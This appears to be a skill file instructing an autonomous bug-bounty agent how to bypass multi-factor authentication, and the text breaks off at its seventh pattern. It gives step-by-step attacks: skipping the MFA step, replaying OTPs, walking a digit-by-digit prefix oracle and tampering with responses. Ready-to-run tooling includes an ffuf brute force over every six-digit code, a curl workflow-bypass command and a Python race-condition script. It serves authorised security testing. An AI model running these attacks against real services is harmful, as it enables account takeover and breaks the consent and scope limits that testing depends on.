/hunt-mfa-bypass

name: hunt-mfa-bypass
description: "Hunt MFA / 2FA bypass — 7 distinct patterns. (1) MFA not enforced on sensitive endpoints (password change, email change accept without MFA challenge), (2) MFA-step skip via direct navigation to post-login URL, (3) MFA-token replay (same code accepted twice), (4) brute-force the 6-digit OTP without rate limit (10^6 attempts at server speed), (5) race condition on OTP validation, (6) recovery-code dump via /api/me, (7) backup factor downgrade (SMS factor with no rate limit). Plus the chain: cookie theft + password oracle + no step-up = ATO without MFA challenge. Detection: trace auth flow in Burp, find every state transition, check if MFA is middleware-gated vs per-endpoint, check OTP entropy and rate limit on OTP-validate. Validate: attacker session reaching post-MFA state. Use when hunting auth bypass, MFA flows, chaining primitives toward ATO."

Autonomous Testing Priority

**Try workflow bypasses before brute force — they're faster and more likely to succeed.**

**Pattern 1 — Skip the MFA step entirely (most automatable):** 1. Login with valid credentials → receive a "pre-MFA" session state 2. Without completing MFA, directly access a protected resource (`/dashboard`, `/api/me`, `/account/profile`) 3. If the response returns user data → MFA is enforced only in the UI, not server-side = Critical

**Pattern 2 — OTP replay (reuse a consumed code):** 1. Complete a valid MFA flow to get a working OTP 2. Log out, log in again with the same credentials 3. Submit the same OTP again 4. If accepted → OTP is not invalidated after use

**Pattern 3 — Submit obviously wrong OTP, observe response:** Try submitting `000000` or `123456`. If the response is 200 or returns a session token, OTP validation is broken or client-side only.

**Pattern 4 — Partial / incremental validation (prefix oracle):** If a guessed full code is rejected, test whether the server validates the OTP **prefix-by-prefix** instead of all-or-nothing. Submit a short partial code and compare responses: 1. Submit a 1–3 digit value (e.g. `otp=1`, then `otp=12`, …) — for a POST verify endpoint the code goes in the **request body**, not the URL query string, or the server reads an empty value. 2. If a *correct* prefix gives a DIFFERENT response than a wrong one (a success/flag, a distinct message, or a different length/timing), the validator leaks correctness one chunk at a time. 3. Walk the code digit-by-digit: keep the prefix that "responds correct," append 0–9, repeat. This collapses 10^6 brute force to ~10×N guesses (≤60 for a 6-digit code) — very feasible in a bounded test. This is the go-to when there is no leaked code and no skip/replay path. Some apps award success on *any* correct prefix outright (so a single correct first digit can win — sweep `otp=0,1,…,9` before giving up). **CRITICAL — stay in ONE session:** re-authenticating (POST /…/login again) regenerates the OTP, throwing away your prefix progress. Do the entire sweep against a single established MFA session; never re-login between guesses.

**On full brute force:** brute-forcing all 10^6 codes is infeasible in a bounded test — but the prefix oracle above (Pattern 4) usually makes it unnecessary. Only attempt full brute force with evidence of no rate limit AND a small key space.

**Proof:** A session token or protected resource data in the response without completing MFA confirms the bypass.

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19. MFA / 2FA BYPASS

> Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session.

Pattern 1: No Rate Limit on OTP

# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
  -X POST -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban

Pattern 2: OTP Not Invalidated After Use

1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)

Pattern 3: Response Manipulation

1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check

Pattern 4: Skip MFA Step (Workflow Bypass)

# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard

Pattern 5: Race on MFA Verification

import asyncio, aiohttp

async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return r.status, await r.text()

async def race():
    cookies = {"session": "YOUR_SESSION"}
    async with aiohttp.ClientSession(cookies=cookies) as s:
        # Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
        # window before the server marks it used. Two requests are NOT enough —
        # they almost always resolve sequentially as "already-used" (false negative).
        # Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
        results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
        # Race confirmed if >1 success (or 1 success among many "already-used").
        for status, body in results:
            print(status, body)
asyncio.run(race())

Pattern 6: Backup Code Brute Force

Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.

Pattern 7